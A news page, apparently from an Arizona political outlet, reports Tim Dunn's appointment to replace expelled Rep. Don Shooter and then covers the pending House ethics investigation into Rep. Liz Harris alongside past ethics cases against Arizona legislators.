Don Shooter awaits a vote by the state House on whether to expel him on Feb. 1, 2018. He was later removed from office by a vote of 56-3. (Photo by Katie Campbell/Arizona Capitol Times)

The Yuma County Board of Supervisors today appointed Tim Dunn to replace former state Rep. Don Shooter in Legislative District 13.

Shooter was expelled from the House of Representatives by a 56-3 vote after a harassment investigation found that he had violated the chamber’s harassment policy and created a hostile working environment.

Dunn, a farmer and businessman who is president of Dunn Grain Co. Inc., edged out Paul Brierley, director of the University of Arizona Yuma Center of Excellence for Desert Agriculture, and Cora Lee Schingnitz, secretary of the Colorado River Tea Party, whom LD13 precinct committeemen also nominated last week to replace Shooter.

“I’m very honored and humbled to be able to represent Yuma County and we look forward to being involved in the Legislature,” Dunn said.

Dunn, who had not filed to run for election in the House, said one of the reasons he put his name forward for the nomination was to ensure that Yuma County residents in LD13 are represented at the Legislature. He added that he now plans to launch a campaign for the House seat.

He said he will be driving to Phoenix today and will be sworn in Tuesday morning.

‘Any scenario you want to imagine, they could do;’ Harris ethics probe undecided

Liz Harris speaks with attendees at a rally hosted by EZAZ at Wesley Bolin Memorial Plaza at the Arizona State Capitol in Phoenix in January 2022. The ethics investigation into Republican Harris of Chandler, who is now a state representative, is still up in the air as she joins a growing list of state lawmakers who have had ethics probes in recent years. PHOTO BY GAGE SKIDMORE VIA FLICKR

The ethics investigation into Rep. Liz Harris, R-Chandler, is still up in the air as the freshman lawmaker joins an expanding list of state lawmakers who have had ethics probes in recent years.
There is yet to be a ruling on the ethics complaint filed against Harris. House Ethics Committee chairman Rep. Joe Chaplik, R-Scottsdale, said after Harris’ testimony to the committee on March 30 that the complaint was going into advisement for ethics members to consult with legal staff and determine a ruling later.
The complaint was filed by Rep. Stephanie Stahl-Hamilton, D-Tucson, and alleges Harris engaged in disorderly conduct for inviting Jacqueline Breger to a Legislative joint elections hearing. Breger proceeded to accuse several elected officials of participating in a bribery deed scheme with the Sinaloa Cartel, including Gov. Katie Hobbs and Speaker of the House Ben Toma, R-Peoria.
The ethics hearing largely focused on a text exchange submitted as evidence between Harris, Breger and suspended attorney John Thaler. Breger was representing Thaler, who had already presented the claims Breger provided to a federal judge. The judge dismissed them as a “delusional and fantastical narrative,” and House and Senate leadership have criticized Harris for inviting Breger.
Ethics members are considering how much of Breger’s testimony Harris knew before Breger presented to the Legislature, and whether it was a predetermined plan by the three to avoid having Breger’s presentation screened by Toma so she could allege wrongdoing of elected officials.
Harris maintains she didn’t know the specific contents of the presentation and only met Breger a few days before the elections hearing. She said she advised Breger to bring a paper copy of her presentation rather than a digital format due to time constraints, not to circumvent Toma.
She also said she was extremely upset to see Toma on a list of elected officials accused of corruption by Breger, but she also knew about the deed scheme prior to the elections hearing.
“I was led to believe (Breger and Thaler) had information on election issues,” Harris said to the Ethics committee on March 30.
It’s not too often when one of Arizona’s Legislative chambers punishes a member after an ethics complaint has been made against them.
“Very rarely, though increasingly frequent in recent years, have we seen these things actually rise to a level where there is consequences for an action,” said Gaelle Esposito, a lobbyist with Creosote Partners.

Sen. Wendy Rogers, R-Flagstaff

Sen. Wendy Rogers, R-Flagstaff, had a complaint filed against her both in 2022 and 2021, but neither resulted in any disciplinary action from the Senate.
The 2022 complaint came after Rogers posted a message on social media about the May 14, 2022 shooting that left 10 black people dead in Buffalo, N.Y., in which she wrote “Fed boy summer has started in Buffalo.” The Senate did censure her on March 1, 2022 after she advocated for building gallows to hang and “make an example” out of traitors and threatened to “destroy” the careers of other Senators.
The Senate Ethics Committee dismissed the 2021 complaint against Rogers, which alleged she mistreated a former assistant. That complaint ended up as a civil lawsuit which alleged assault, intentional and negligent infliction of emotional distress and wrongful termination. The lawsuit was settled for $10,000 in March.
Harris said during the ethics hearing that she didn’t believe her actions met federal and state definitions of disorderly conduct. She said she believed a member would have to do something egregious to meet that definition such as an extreme DUI or a fistfight with another member.
Those instances have happened with legislators. Former Democratic Sen. Tony Navarrete had an ethics complaint filed against him after he was charged with multiple sex crimes against children, but he resigned shortly after he was arrested and the complaint was filed.
In 2018, the House of Representatives voted 56-3 to expel former Republican Rep. Don Shooter, who was facing multiple accusations of sexual harassment. Former Republican Rep. David Stringer also resigned in 2019 before an ethics investigation could proceed after he allegedly made racist comments and sex offense charges from the 1980s resurfaced of Stringer paying a boy with intellectual disabilities for sex.
But not all sex-related complaints have ended in a resignation or expulsion. Rep. David Cook, R-Globe, faced a months-long investigation in 2020 alleging he had an affair with a lobbyist to help her get special favors with officials in Pinal County. While the findings of the investigation were “deeply troubling,” it didn’t amount to disorderly conduct the House could punish. Sexual harassment allegations were also made to former Republican Sen. Michelle Ugenti-Rita that same year, but a formal ethics complaint was never filed.

Travis Grantham

Former House GOP Communications Director Barrett Marson said Harris’ behavior is not equivalent to previous instances with Shooter and Stringer, but he also said removing Harris’ committee assignments, notably her seat on Municipal Oversight and Elections, could be appropriate.
“Is this a fireable offense, you know probably not. But maybe she loses her perks,” Marson said. “That probably is a pretty appropriate response.”
Marson pointed out the extensive questioning conducted by Rep. Travis Grantham, R-Gilbert, to Harris during the ethics hearing. He said Grantham seemed “frustrated, perplexed, and at times, speechless” to the text exchange between Harris, Breger and Thaler.
“I’m not sure I’ve ever seen a lawmaker more frustrated with a member of his own party than Grantham was,” Marson said.
Stan Barnes, a lobbyist with Copper State Consulting Group and former Republican legislator, said the options the Ethics committee could recommend are wide open, but the entire House would have to vote on that recommendation.
“They could recommend no action. They could never meet again and never talk about it again. Any scenario you want to imagine, they could do,” Barnes said.